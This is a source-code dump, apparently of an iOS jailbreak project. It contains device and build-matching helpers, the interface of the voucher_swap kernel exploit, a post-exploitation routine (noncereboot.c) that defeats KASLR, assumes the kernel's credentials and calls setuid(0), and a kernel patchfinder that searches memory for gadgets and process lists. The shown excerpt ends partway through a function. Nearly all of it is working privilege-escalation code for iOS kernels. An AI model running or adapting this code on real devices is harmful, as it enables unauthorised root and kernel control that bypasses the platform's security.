94 | unknown:
95 | strcpy(device_type, device);
96 | *major = 0;
97 | *minor = 0;
98 | return false;
99 | }
100 | // Walk backwards from the comma to the start of the major version.
101 | if (comma == device) {
102 | goto unknown;
103 | }
104 | const char *p = comma;
105 | for (;;) {
106 | char ch = *(p - 1);
107 | if (!(('0' <= ch && ch <= '9') || (allow_wildcard && ch == '*'))) {
108 | break;
109 | }
110 | p--;
111 | if (p == device) {
112 | goto unknown;
113 | }
114 | }
115 | if (p == comma) {
116 | goto unknown;
117 | }
118 | size_t device_type_length = p - device;
119 | // Parse the version numbers.
120 | bool ok = parse_device_version_internal(p, major, minor, allow_wildcard, end);
121 | if (!ok) {
122 | goto unknown;
123 | }
124 | // Return the device_type string. This is last in case it's shared with the device string.
125 | strncpy(device_type, device, device_type_length);
126 | device_type[device_type_length] = 0;
127 | return true;
128 | }
129 |
130 | // Parse a device name.
131 | static bool
132 | parse_device(const char *device, char *device_type, unsigned *major, unsigned *minor) {
133 | return parse_device_internal(device, device_type, major, minor, false, NULL);
134 | }
135 |
136 | // Parse a device range string.
137 | static bool
138 | parse_device_range(const char *device, char *device_type,
139 | unsigned *min_major, unsigned *min_minor,
140 | unsigned *max_major, unsigned *max_minor,
141 | const char **end) {
142 | char dev_type[32];
143 | const char *next = device;
144 | // First parse a full device.
145 | bool ok = parse_device_internal(next, dev_type, min_major, min_minor, true, &next);
146 | if (!ok) {
147 | unknown:
148 | strcpy(device_type, device);
149 | *min_major = 0;
150 | *min_minor = 0;
151 | *max_major = 0;
152 | *max_minor = 0;
153 | return false;
154 | }
155 | // Optionally parse a separator and more versions.
156 | if (*next == 0) {
157 | *max_major = *min_major;
158 | *max_minor = *min_minor;
159 | } else if (*next == '-') {
160 | next++;
161 | ok = parse_device_version_internal(next, max_major, max_minor, true, &next);
162 | if (!ok) {
163 | goto unknown;
164 | }
165 | }
166 | *end = next;
167 | // Return the device_type.
168 | strcpy(device_type, dev_type);
169 | return true;
170 | }
171 |
172 | // Check if the given device number is numerically within range.
173 | static bool
174 | numerical_device_match(unsigned major, unsigned minor,
175 | unsigned min_major, unsigned min_minor, unsigned max_major, unsigned max_minor) {
176 | if (major < min_major && min_major != ANY) {
177 | return false;
178 | }
179 | if ((major == min_major || min_major == ANY)
180 | && minor < min_minor && min_minor != ANY) {
181 | return false;
182 | }
183 | if (major > max_major && max_major != ANY) {
184 | return false;
185 | }
186 | if ((major == max_major || max_major == ANY)
187 | && minor > max_minor && max_minor != ANY) {
188 | return false;
189 | }
190 | return true;
191 | }
192 |
193 | // Match a specific device against a device match list.
194 | static bool
195 | match_device(const char *device, const char *devices) {
196 | if (devices == NULL || strcmp(devices, "*") == 0) {
197 | return true;
198 | }
199 | // Parse this device.
200 | char device_type[32];
201 | unsigned major, minor;
202 | parse_device(device, device_type, &major, &minor);
203 | // Parse the match list.
204 | const char *next = devices;
205 | while (*next != 0) {
206 | // Parse the next device range.
207 | char match_device_type[32];
208 | unsigned min_major, min_minor, max_major, max_minor;
209 | parse_device_range(next, match_device_type, &min_major, &min_minor,
210 | &max_major, &max_minor, &next);
211 | if (*next != 0) {
212 | skip_spaces(&next);
213 | assert(*next == '|');
214 | next++;
215 | skip_spaces(&next);
216 | assert(*next != 0);
217 | }
218 | // Check if this is a match.
219 | if (strcmp(device_type, match_device_type) == 0
220 | && numerical_device_match(major, minor,
221 | min_major, min_minor, max_major, max_minor)) {
222 | return true;
223 | }
224 | }
225 | return false;
226 | }
227 |
228 | // ---- Build matching ----------------------------------------------------------------------------
229 |
230 | // Parse a build version string into a uint64_t. Maintains comparison order.
231 | static uint64_t
232 | parse_build_version(const char *build, const char **end) {
233 | // 16A5288q -> [2 bytes][1 byte][3 bytes][1 byte]
234 | const char *p = build;
235 | // Parse out the major number.
236 | uint64_t major = 0;
237 | for (;;) {
238 | char ch = *p;
239 | if (ch < '0' || '9' < ch) {
240 | break;
241 | }
242 | major = major * 10 + (ch - '0');
243 | p++;
244 | }
245 | // Parse out the minor.
246 | uint64_t minor = 0;
247 | for (;;) {
248 | char ch = *p;
249 | if (ch < 'A' || 'Z' < ch) {
250 | break;
251 | }
252 | minor = (minor << 8) + ch;
253 | p++;
254 | }
255 | // Parse out the patch.
256 | uint64_t patch = 0;
257 | for (;;) {
258 | char ch = *p;
259 | if (ch < '0' || '9' < ch) {
260 | break;
261 | }
262 | patch = patch * 10 + (ch - '0');
263 | p++;
264 | }
265 | // Parse out the alpha.
266 | uint64_t alpha = 0;
267 | for (;;) {
268 | char ch = *p;
269 | if (ch < 'a' || 'z' < ch) {
270 | break;
271 | }
272 | alpha = (alpha << 8) + ch;
273 | p++;
274 | }
275 | // Construct the full build version.
276 | if (end != NULL) {
277 | *end = p;
278 | }
279 | return ((major << (8 * 5))
280 | | (minor << (8 * 4))
281 | | (patch << (8 * 1))
282 | | (alpha << (8 * 0)));
283 | }
284 |
285 | // Parse a build version range string.
286 | static void
287 | parse_build_version_range(const char *builds, uint64_t *version_min, uint64_t *version_max) {
288 | const char *next = builds;
289 | uint64_t min, max;
290 | // Parse the lower range.
291 | if (*next == '*') {
292 | min = 0;
293 | next++;
294 | } else {
295 | min = parse_build_version(next, &next);
296 | }
297 | // Parse the upper range (if it exists).
298 | if (*next == 0) {
299 | assert(min != 0);
300 | max = min;
301 | } else {
302 | skip_spaces(&next);
303 | assert(*next == '-');
304 | next++;
305 | skip_spaces(&next);
306 | if (*next == '*') {
307 | max = (uint64_t)(-1);
308 | next++;
309 | } else {
310 | max = parse_build_version(next, &next);
311 | }
312 | assert(*next == 0);
313 | }
314 | *version_min = min;
315 | *version_max = max;
316 | }
317 |
318 | // Check if the given build version string matches the build range.
319 | static bool
320 | match_build(const char *build, const char *builds) {
321 | if (builds == NULL || strcmp(builds, "*") == 0) {
322 | return true;
323 | }
324 | uint64_t version = parse_build_version(build, NULL);
325 | uint64_t version_min, version_max;
326 | parse_build_version_range(builds, &version_min, &version_max);
327 | return (version_min <= version && version <= version_max);
328 | }
329 |
330 | // ---- Public API --------------------------------------------------------------------------------
331 |
332 | bool
333 | platform_matches_device(const char *device_range) {
334 | return match_device(platform.machine, device_range);
335 | }
336 |
337 | bool
338 | platform_matches_build(const char *build_range) {
339 | return match_build(platform.osversion, build_range);
340 | }
341 |
342 | bool
343 | platform_matches(const char *device_range, const char *build_range) {
344 | return platform_matches_device(device_range)
345 | && platform_matches_build(build_range);
346 | }
347 |
--------------------------------------------------------------------------------
/xSpiral/PostExploit/vouncher_swap/voucher_swap/platform_match.h:
--------------------------------------------------------------------------------
1 | /*
2 | * platform_match.h
3 | * Brandon Azad
4 | */
5 | #ifndef VOUCHER_SWAP__PLATFORM_MATCH_H_
6 | #define VOUCHER_SWAP__PLATFORM_MATCH_H_
7 |
8 | #include
9 |
10 | /*
11 | * platform_matches_device
12 | *
13 | * Description:
14 | * Check whether the current platform matches the specified device or range of devices.
15 | *
16 | * Match format:
17 | * The match string may either specify a single device glob or a range of device globs. For
18 | * example:
19 | *
20 | * "iPhone11,8" Matches only iPhone11,8
21 | * "iPhone11,*" Matches all iPhone11 devices, including e.g. iPhone11,4.
22 | * "iPhone*,*" Matches all iPhone devices.
23 | * "iPhone11,4-iPhone11,8" Matches all iPhone devices between 11,4 and 11,8, inclusive.
24 | * "iPhone10,*-11,*" Matches all iPhone10 and iPhone11 devices.
25 | *
26 | * As a special case, "*" matches all devices.
27 | */
28 | bool platform_matches_device(const char *device_range);
29 |
30 | /*
31 | * platform_matches_build
32 | *
33 | * Description:
34 | * Check whether the current platform matches the specified build version or range of build
35 | * versions.
36 | *
37 | * Match format:
38 | * The match string may either specify a single build version or a range of build versions.
39 | * For example:
40 | *
41 | * "16C50" Matches only build 16C50.
42 | * "16B92-16C50" Matches all builds between 16B92 and 16C50, inclusive.
43 | *
44 | * As a special case, either build version may be replaced with "*" to indicate a lack of
45 | * lower or upper bound:
46 | *
47 | * "*-16B92" Matches all builds up to and including 16B92.
48 | * "16C50-*" Matches build 16C50 and later.
49 | * "*" Matches all build versions.
50 | */
51 | bool platform_matches_build(const char *build_range);
52 |
53 | /*
54 | * platform_matches
55 | *
56 | * Description:
57 | * A convenience function that combines platform_matches_device() and
58 | * platform_matches_build().
59 | */
60 | bool platform_matches(const char *device_range, const char *build_range);
61 |
62 | #endif
63 |
--------------------------------------------------------------------------------
/xSpiral/PostExploit/vouncher_swap/voucher_swap/voucher_swap.h:
--------------------------------------------------------------------------------
1 | /*
2 | * voucher_swap.h
3 | * Brandon Azad
4 | */
5 | #ifndef VOUCHER_SWAP__VOUCHER_SWAP_H_
6 | #define VOUCHER_SWAP__VOUCHER_SWAP_H_
7 | #include
8 |
9 | /*
10 | * voucher_swap
11 | *
12 | * Description:
13 | * Run the voucher_swap exploit.
14 | */
15 | mach_port_t voucher_swap(size_t ool_ports_spray_size);
16 |
17 | #endif
18 |
--------------------------------------------------------------------------------
/xSpiral/RootUnit/noncereboot.c:
--------------------------------------------------------------------------------
1 | //
2 | // noncereboot.c
3 | // noncereboot1131UI
4 | //
5 | // Created by Pwn20wnd on 6/30/18.
6 | // Copyright © 2018 Pwn20wnd. All rights reserved.
7 | //
8 |
9 | #include "noncereboot.h"
10 | #include
11 | #include "kmem.h"
12 | #include "kutils.h"
13 | #include "patchfinder64.h"
14 | #include "kexecute.h"
15 | #include "user_client.h"
16 |
17 | mach_port_t tfpzero = MACH_PORT_NULL;
18 | uint64_t kernel_base;
19 |
20 | int start_noncereboot(mach_port_t tfp0) {
21 | printf("Starting noncereboot1131...\n");
22 |
23 | int err = ERR_NOERR;
24 |
25 | if (tfp0 == MACH_PORT_NULL) {
26 | return ERR_TFP0;
27 | }
28 |
29 | tfpzero = tfp0;
30 |
31 | // Get the slide
32 | uint64_t slide = get_kaslr_slide();
33 | printf("slide: 0x%016llx\n", slide);
34 |
35 | kernel_base = slide + 0xFFFFFFF007004000;
36 |
37 | // Loads the kernel into the patch finder, which just fetches the kernel memory for patchfinder use
38 | init_kernel(kernel_base, NULL);
39 |
40 | init_kexecute();
41 |
42 | // Get our and the kernels struct proc from allproc
43 | uint32_t our_pid = getpid();
44 | uint64_t our_proc = get_proc_struct_for_pid(our_pid);
45 | uint64_t kern_proc = get_proc_struct_for_pid(0);
46 |
47 | if (!our_proc || !kern_proc) {
48 | err = ERR_POST_EXPLOITATION;
49 | goto out;
50 | }
51 |
52 | printf("our proc is at 0x%016llx\n", our_proc);
53 | printf("kern proc is at 0x%016llx\n", kern_proc);
54 |
55 | // Properly copy the kernel's credentials so setuid(0) doesn't crash
56 | uint64_t field, cred;
57 | assume_kernel_credentials(&field, &cred);
58 | setuid(0);
59 |
60 | out:
61 | term_kexecute();
62 | term_kernel();
63 | return err;
64 | }
65 |
66 | int read_kern_base(void) {
67 | return kernel_base;
68 | }
69 |
--------------------------------------------------------------------------------
/xSpiral/RootUnit/noncereboot.h:
--------------------------------------------------------------------------------
1 | //
2 | // noncereboot.h
3 | // noncereboot1131UI
4 | //
5 | // Created by Pwn20wnd on 6/30/18.
6 | // Copyright © 2018 Pwn20wnd. All rights reserved.
7 | //
8 |
9 | #ifndef noncereboot_h
10 | #define noncereboot_h
11 |
12 | #include
13 |
14 | enum {
15 | ERR_NOERR = 0,
16 | ERR_VERSION = -1,
17 | ERR_EXPLOIT = -2,
18 | ERR_UNSUPPORTED = -3,
19 | ERR_TFP0 = -4,
20 | ERR_POST_EXPLOITATION = -5,
21 | };
22 |
23 | int start_noncereboot(mach_port_t tfp0);
24 | int read_kern_base(void);
25 |
26 | #endif /* noncereboot_h */
27 |
--------------------------------------------------------------------------------
/xSpiral/RootUnit/patchfinder64.c:
--------------------------------------------------------------------------------
1 | //
2 | // patchfinder64.c
3 | // extra_recipe
4 | //
5 | // Created by xerub on 06/06/2017.
6 | // Copyright © 2017 xerub. All rights reserved.
7 | //
8 |
9 | #include
10 | #include
11 | #include
12 | #include "kmem.h"
13 |
14 | typedef unsigned long long addr_t;
15 |
16 | #define IS64(image) (*(uint8_t *)(image) & 1)
17 |
18 | #define MACHO(p) ((*(unsigned int *)(p) & ~1) == 0xfeedface)
19 |
20 | /* generic stuff *************************************************************/
21 |
22 | #define UCHAR_MAX 255
23 |
24 | static unsigned char *
25 | boyermoore_horspool_memmem(const unsigned char* haystack, size_t hlen,
26 | const unsigned char* needle, size_t nlen)
27 | {
28 | size_t last, scan = 0;
29 | size_t bad_char_skip[UCHAR_MAX + 1]; /* Officially called:
30 | * bad character shift */
31 |
32 | /* Sanity checks on the parameters */
33 | if (nlen <= 0 || !haystack || !needle)
34 | return NULL;
35 |
36 | /* ---- Preprocess ---- */
37 | /* Initialize the table to default value */
38 | /* When a character is encountered that does not occur
39 | * in the needle, we can safely skip ahead for the whole
40 | * length of the needle.
41 | */
42 | for (scan = 0; scan <= UCHAR_MAX; scan = scan + 1)
43 | bad_char_skip[scan] = nlen;
44 |
45 | /* C arrays have the first byte at [0], therefore:
46 | * [nlen - 1] is the last byte of the array. */
47 | last = nlen - 1;
48 |
49 | /* Then populate it with the analysis of the needle */
50 | for (scan = 0; scan < last; scan = scan + 1)
51 | bad_char_skip[needle[scan]] = last - scan;
52 |
53 | /* ---- Do the matching ---- */
54 |
55 | /* Search the haystack, while the needle can still be within it. */
56 | while (hlen >= nlen)
57 | {
58 | /* scan from the end of the needle */
59 | for (scan = last; haystack[scan] == needle[scan]; scan = scan - 1)
60 | if (scan == 0) /* If the first byte matches, we've found it. */
61 | return (void *)haystack;
62 |
63 | /* otherwise, we need to skip some bytes and start again.
64 | Note that here we are getting the skip value based on the last byte
65 | of needle, no matter where we didn't match. So if needle is: "abcd"
66 | then we are skipping based on 'd' and that value will be 4, and
67 | for "abcdd" we again skip on 'd' but the value will be only 1.
68 | The alternative of pretending that the mismatched character was
69 | the last character is slower in the normal case (E.g. finding
70 | "abcd" in "...azcd..." gives 4 by using 'd' but only
71 | 4-2==2 using 'z'. */
72 | hlen -= bad_char_skip[haystack[last]];
73 | haystack += bad_char_skip[haystack[last]];
74 | }
75 |
76 | return NULL;
77 | }
78 |
79 | /* patchfinder ***************************************************************/
80 |
81 | // Finds start of function
82 | static addr_t
83 | bof64(const uint8_t *buf, addr_t start, addr_t where)
84 | {
85 | for (; where >= start; where -= 4) {
86 | uint32_t op = *(uint32_t *)(buf + where);
87 | if ((op & 0xFFC003FF) == 0x910003FD) {
88 | unsigned delta = (op >> 10) & 0xFFF;
89 | //printf("%x: ADD X29, SP, #0x%x\n", where, delta);
90 | if ((delta & 0xF) == 0) {
91 | addr_t prev = where - ((delta >> 4) + 1) * 4;
92 | uint32_t au = *(uint32_t *)(buf + prev);
93 | if ((au & 0xFFC003E0) == 0xA98003E0) {
94 | //printf("%x: STP x, y, [SP,#-imm]!\n", prev);
95 | return prev;
96 | }
97 | }
98 | }
99 | }
100 | return 0;
101 | }
102 |
103 | static addr_t
104 | xref64(const uint8_t *buf, addr_t start, addr_t end, addr_t what)
105 | {
106 | addr_t i;
107 | uint64_t value[32];
108 |
109 | memset(value, 0, sizeof(value));
110 |
111 | end &= ~3;
112 | for (i = start & ~3; i < end; i += 4) {
113 | uint32_t op = *(uint32_t *)(buf + i);
114 | unsigned reg = op & 0x1F;
115 | if ((op & 0x9F000000) == 0x90000000) {
116 | signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8);
117 | //printf("%llx: ADRP X%d, 0x%llx\n", i, reg, ((long long)adr << 1) + (i & ~0xFFF));
118 | value[reg] = ((long long)adr << 1) + (i & ~0xFFF);
119 | /*} else if ((op & 0xFFE0FFE0) == 0xAA0003E0) {
120 | unsigned rd = op & 0x1F;
121 | unsigned rm = (op >> 16) & 0x1F;
122 | //printf("%llx: MOV X%d, X%d\n", i, rd, rm);
123 | value[rd] = value[rm];*/
124 | } else if ((op & 0xFF000000) == 0x91000000) {
125 | unsigned rn = (op >> 5) & 0x1F;
126 | unsigned shift = (op >> 22) & 3;
127 | unsigned imm = (op >> 10) & 0xFFF;
128 | if (shift == 1) {
129 | imm <<= 12;
130 | } else {
131 | //assert(shift == 0);
132 | if (shift > 1) continue;
133 | }
134 | //printf("%llx: ADD X%d, X%d, 0x%x\n", i, reg, rn, imm);
135 | value[reg] = value[rn] + imm;
136 | } else if ((op & 0xF9C00000) == 0xF9400000) {
137 | unsigned rn = (op >> 5) & 0x1F;
138 | unsigned imm = ((op >> 10) & 0xFFF) << 3;
139 | //printf("%llx: LDR X%d, [X%d, 0x%x]\n", i, reg, rn, imm);
140 | if (!imm) continue; // XXX not counted as true xref
141 | value[reg] = value[rn] + imm; // XXX address, not actual value
142 | /*} else if ((op & 0xF9C00000) == 0xF9000000) {
143 | unsigned rn = (op >> 5) & 0x1F;
144 | unsigned imm = ((op >> 10) & 0xFFF) << 3;
145 | //printf("%llx: STR X%d, [X%d, 0x%x]\n", i, reg, rn, imm);
146 | if (!imm) continue; // XXX not counted as true xref
147 | value[rn] = value[rn] + imm; // XXX address, not actual value*/
148 | } else if ((op & 0x9F000000) == 0x10000000) {
149 | signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8);
150 | //printf("%llx: ADR X%d, 0x%llx\n", i, reg, ((long long)adr >> 11) + i);
151 | value[reg] = ((long long)adr >> 11) + i;
152 | } else if ((op & 0xFF000000) == 0x58000000) {
153 | unsigned adr = (op & 0xFFFFE0) >> 3;
154 | //printf("%llx: LDR X%d, =0x%llx\n", i, reg, adr + i);
155 | value[reg] = adr + i; // XXX address, not actual value
156 | }
157 | if (value[reg] == what) {
158 | return i;
159 | }
160 | }
161 | return 0;
162 | }
163 |
164 | static addr_t
165 | calc64(const uint8_t *buf, addr_t start, addr_t end, int which)
166 | {
167 | addr_t i;
168 | uint64_t value[32];
169 |
170 | memset(value, 0, sizeof(value));
171 |
172 | end &= ~3;
173 | for (i = start & ~3; i < end; i += 4) {
174 | uint32_t op = *(uint32_t *)(buf + i);
175 | unsigned reg = op & 0x1F;
176 | if ((op & 0x9F000000) == 0x90000000) {
177 | signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8);
178 | //printf("%llx: ADRP X%d, 0x%llx\n", i, reg, ((long long)adr << 1) + (i & ~0xFFF));
179 | value[reg] = ((long long)adr << 1) + (i & ~0xFFF);
180 | /*} else if ((op & 0xFFE0FFE0) == 0xAA0003E0) {
181 | unsigned rd = op & 0x1F;
182 | unsigned rm = (op >> 16) & 0x1F;
183 | //printf("%llx: MOV X%d, X%d\n", i, rd, rm);
184 | value[rd] = value[rm];*/
185 | } else if ((op & 0xFF000000) == 0x91000000) {
186 | unsigned rn = (op >> 5) & 0x1F;
187 | unsigned shift = (op >> 22) & 3;
188 | unsigned imm = (op >> 10) & 0xFFF;
189 | if (shift == 1) {
190 | imm <<= 12;
191 | } else {
192 | //assert(shift == 0);
193 | if (shift > 1) continue;
194 | }
195 | //printf("%llx: ADD X%d, X%d, 0x%x\n", i, reg, rn, imm);
196 | value[reg] = value[rn] + imm;
197 | } else if ((op & 0xF9C00000) == 0xF9400000) {
198 | unsigned rn = (op >> 5) & 0x1F;
199 | unsigned imm = ((op >> 10) & 0xFFF) << 3;
200 | //printf("%llx: LDR X%d, [X%d, 0x%x]\n", i, reg, rn, imm);
201 | if (!imm) continue; // XXX not counted as true xref
202 | value[reg] = value[rn] + imm; // XXX address, not actual value
203 | } else if ((op & 0xF9C00000) == 0xF9000000) {
204 | unsigned rn = (op >> 5) & 0x1F;
205 | unsigned imm = ((op >> 10) & 0xFFF) << 3;
206 | //printf("%llx: STR X%d, [X%d, 0x%x]\n", i, reg, rn, imm);
207 | if (!imm) continue; // XXX not counted as true xref
208 | value[rn] = value[rn] + imm; // XXX address, not actual value
209 | } else if ((op & 0x9F000000) == 0x10000000) {
210 | signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8);
211 | //printf("%llx: ADR X%d, 0x%llx\n", i, reg, ((long long)adr >> 11) + i);
212 | value[reg] = ((long long)adr >> 11) + i;
213 | } else if ((op & 0xFF000000) == 0x58000000) {
214 | unsigned adr = (op & 0xFFFFE0) >> 3;
215 | //printf("%llx: LDR X%d, =0x%llx\n", i, reg, adr + i);
216 | value[reg] = adr + i; // XXX address, not actual value
217 | }
218 | }
219 | return value[which];
220 | }
221 |
222 | /* kernel iOS10 **************************************************************/
223 |
224 | #include
225 | #include
226 | #include
227 | #include
228 | #include
229 |
230 | #ifndef __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__
231 | #define __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__
232 | #endif
233 |
234 | #ifdef __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__
235 | #include
236 | size_t kread(uint64_t where, void *p, size_t size);
237 | #endif
238 |
239 | static uint8_t *kernel = NULL;
240 | static size_t kernel_size = 0;
241 |
242 | static addr_t xnucore_base = 0;
243 | static addr_t xnucore_size = 0;
244 | static addr_t prelink_base = 0;
245 | static addr_t prelink_size = 0;
246 | static addr_t cstring_base = 0;
247 | static addr_t cstring_size = 0;
248 | static addr_t pstring_base = 0;
249 | static addr_t pstring_size = 0;
250 | static addr_t kerndumpbase = -1;
251 | static addr_t kernel_entry = 0;
252 | static void *kernel_mh = 0;
253 | static addr_t kernel_delta = 0;
254 |
255 | int
256 | init_kernel(addr_t base, const char *filename)
257 | {
258 | size_t rv;
259 | uint8_t buf[0x4000];
260 | unsigned i, j;
261 | const struct mach_header *hdr = (struct mach_header *)buf;
262 | const uint8_t *q;
263 | addr_t min = -1;
264 | addr_t max = 0;
265 | int is64 = 0;
266 |
267 | #ifdef __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__
268 | #define close(f)
269 | rv = kread(base, buf, sizeof(buf));
270 | if (rv != sizeof(buf)) {
271 | return -1;
272 | }
273 | #else /* __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ */
274 | int fd = open(filename, O_RDONLY);
275 | if (fd < 0) {
276 | return -1;
277 | }
278 |
279 | rv = read(fd, buf, sizeof(buf));
280 | if (rv != sizeof(buf)) {
281 | close(fd);
282 | return -1;
283 | }
284 | #endif /* __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ */
285 |
286 | if (!MACHO(buf)) {
287 | close(fd);
288 | return -1;
289 | }
290 |
291 | if (IS64(buf)) {
292 | is64 = 4;
293 | }
294 |
295 | q = buf + sizeof(struct mach_header) + is64;
296 | for (i = 0; i < hdr->ncmds; i++) {
297 | const struct load_command *cmd = (struct load_command *)q;
298 | if (cmd->cmd == LC_SEGMENT_64) {
299 | const struct segment_command_64 *seg = (struct segment_command_64 *)q;
300 | if (min > seg->vmaddr) {
301 | min = seg->vmaddr;
302 | }
303 | if (max < seg->vmaddr + seg->vmsize) {
304 | max = seg->vmaddr + seg->vmsize;
305 | }
306 | if (!strcmp(seg->segname, "__TEXT_EXEC")) {
307 | xnucore_base = seg->vmaddr;
308 | xnucore_size = seg->filesize;
309 | }
310 | if (!strcmp(seg->segname, "__PLK_TEXT_EXEC")) {
311 | prelink_base = seg->vmaddr;
312 | prelink_size = seg->filesize;
313 | }
314 | if (!strcmp(seg->segname, "__TEXT")) {
315 | const struct section_64 *sec = (struct section_64 *)(seg + 1);
316 | for (j = 0; j < seg->nsects; j++) {
317 | if (!strcmp(sec[j].sectname, "__cstring")) {
318 | cstring_base = sec[j].addr;
319 | cstring_size = sec[j].size;
320 | }
321 | }
322 | }
323 | if (!strcmp(seg->segname, "__PRELINK_TEXT")) {
324 | const struct section_64 *sec = (struct section_64 *)(seg + 1);
325 | for (j = 0; j < seg->nsects; j++) {
326 | if (!strcmp(sec[j].sectname, "__text")) {
327 | pstring_base = sec[j].addr;
328 | pstring_size = sec[j].size;
329 | }
330 | }
331 | }
332 | if (!strcmp(seg->segname, "__LINKEDIT")) {
333 | kernel_delta = seg->vmaddr - min - seg->fileoff;
334 | }
335 | }
336 | if (cmd->cmd == LC_UNIXTHREAD) {
337 | uint32_t *ptr = (uint32_t *)(cmd + 1);
338 | uint32_t flavor = ptr[0];
339 | struct {
340 | uint64_t x[29]; /* General purpose registers x0-x28 */
341 | uint64_t fp; /* Frame pointer x29 */
342 | uint64_t lr; /* Link register x30 */
343 | uint64_t sp; /* Stack pointer x31 */
344 | uint64_t pc; /* Program counter */
345 | uint32_t cpsr; /* Current program status register */
346 | } *thread = (void *)(ptr + 2);
347 | if (flavor == 6) {
348 | kernel_entry = thread->pc;
349 | }
350 | }
351 | q = q + cmd->cmdsize;
352 | }
353 |
354 | kerndumpbase = min;
355 | xnucore_base -= kerndumpbase;
356 | prelink_base -= kerndumpbase;
357 | cstring_base -= kerndumpbase;
358 | pstring_base -= kerndumpbase;
359 | kernel_size = max - min;
360 |
361 | #ifdef __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__
362 | kernel = malloc(kernel_size);
363 | if (!kernel) {
364 | return -1;
365 | }
366 | rv = kread(kerndumpbase, kernel, kernel_size);
367 | if (rv != kernel_size) {
368 | free(kernel);
369 | return -1;
370 | }
371 |
372 | kernel_mh = kernel + base - min;
373 |
374 | (void)filename;
375 | #undef close
376 | #else /* __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ */
377 | kernel = calloc(1, kernel_size);
378 | if (!kernel) {
379 | close(fd);
380 | return -1;
381 | }
382 |
383 | q = buf + sizeof(struct mach_header) + is64;
384 | for (i = 0; i < hdr->ncmds; i++) {
385 | const struct load_command *cmd = (struct load_command *)q;
386 | if (cmd->cmd == LC_SEGMENT_64) {
387 | const struct segment_command_64 *seg = (struct segment_command_64 *)q;
388 | size_t sz = pread(fd, kernel + seg->vmaddr - min, seg->filesize, seg->fileoff);
389 | if (sz != seg->filesize) {
390 | close(fd);
391 | free(kernel);
392 | return -1;
393 | }
394 | if (!kernel_mh) {
395 | kernel_mh = kernel + seg->vmaddr - min;
396 | }
397 | printf("%s\n", seg->segname);
398 | if (!strcmp(seg->segname, "__LINKEDIT")) {
399 | kernel_delta = seg->vmaddr - min - seg->fileoff;
400 | }
401 | }
402 | q = q + cmd->cmdsize;
403 | }
404 |
405 | close(fd);
406 |
407 | (void)base;
408 | #endif /* __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ */
409 | return 0;
410 | }
411 |
412 | void
413 | term_kernel(void)
414 | {
415 | free(kernel);
416 | }
417 |
418 | /* these operate on VA ******************************************************/
419 |
420 | #define INSN_RET 0xD65F03C0, 0xFFFFFFFF
421 | #define INSN_CALL 0x94000000, 0xFC000000
422 | #define INSN_B 0x14000000, 0xFC000000
423 | #define INSN_CBZ 0x34000000, 0xFC000000
424 | #define INSN_ADRP 0x90000000, 0x9F000000
425 |
426 | addr_t
427 | find_register_value(addr_t where, int reg)
428 | {
429 | addr_t val;
430 | addr_t bof = 0;
431 | where -= kerndumpbase;
432 | if (where > xnucore_base) {
433 | bof = bof64(kernel, xnucore_base, where);
434 | if (!bof) {
435 | bof = xnucore_base;
436 | }
437 | } else if (where > prelink_base) {
438 | bof = bof64(kernel, prelink_base, where);
439 | if (!bof) {
440 | bof = prelink_base;
441 | }
442 | }
443 | val = calc64(kernel, bof, where, reg);
444 | if (!val) {
445 | return 0;
446 | }
447 | return val + kerndumpbase;
448 | }
449 |
450 | addr_t
451 | find_reference(addr_t to, int n, int prelink)
452 | {
453 | addr_t ref, end;
454 | addr_t base = xnucore_base;
455 | addr_t size = xnucore_size;
456 | if (prelink) {
457 | base = prelink_base;
458 | size = prelink_size;
459 | }
460 | if (n <= 0) {
461 | n = 1;
462 | }
463 | end = base + size;
464 | to -= kerndumpbase;
465 | do {
466 | ref = xref64(kernel, base, end, to);
467 | if (!ref) {
468 | return 0;
469 | }
470 | base = ref + 4;
471 | } while (--n > 0);
472 | return ref + kerndumpbase;
473 | }
474 |
475 | addr_t
476 | find_strref(const char *string, int n, int prelink)
477 | {
478 | uint8_t *str;
479 | addr_t base = cstring_base;
480 | addr_t size = cstring_size;
481 | if (prelink) {
482 | base = pstring_base;
483 | size = pstring_size;
484 | }
485 | str = boyermoore_horspool_memmem(kernel + base, size, (uint8_t *)string, strlen(string));
486 | if (!str) {
487 | return 0;
488 | }
489 | return find_reference(str - kernel + kerndumpbase, n, prelink);
490 | }
491 |
492 | /****** fun *******/
493 |
494 | addr_t find_add_x0_x0_0x40_ret(void) {
495 | addr_t off;
496 | uint32_t *k;
497 | k = (uint32_t *)(kernel + xnucore_base);
498 | for (off = 0; off < xnucore_size - 4; off += 4, k++) {
499 | if (k[0] == 0x91010000 && k[1] == 0xD65F03C0) {
500 | return off + xnucore_base + kerndumpbase;
501 | }
502 | }
503 | k = (uint32_t *)(kernel + prelink_base);
504 | for (off = 0; off < prelink_size - 4; off += 4, k++) {
505 | if (k[0] == 0x91010000 && k[1] == 0xD65F03C0) {
506 | return off + prelink_base + kerndumpbase;
507 | }
508 | }
509 | return 0;
510 | }
511 |
512 | uint64_t find_allproc(void) {
513 | // Find the first reference to the string
514 | addr_t ref = find_strref("\"pgrp_add : pgrp is dead adding process\"", 1, 0);
515 | if (!ref) {
516 | return 0;
517 | }
518 | ref -= kerndumpbase;
519 |
520 | uint64_t start = bof64(kernel, xnucore_base, ref);
521 | if (!start) {
522 | return 0;
523 | }
524 |
525 | // Find AND W8, W8, #0xFFFFDFFF - it's a pretty distinct instruction
526 | addr_t weird_instruction = 0;
527 | for (int i = 4; i < 4*0x100; i+=4) {
528 | uint32_t op = *(uint32_t *)(kernel + ref + i);
529 | if (op == 0x12127908) {
530 | weird_instruction = ref+i;
531 | break;
532 | }
533 | }
534 | if (!weird_instruction) {
535 | return 0;
536 | }
537 |
538 | uint64_t val = calc64(kernel, start, weird_instruction - 8, 8);
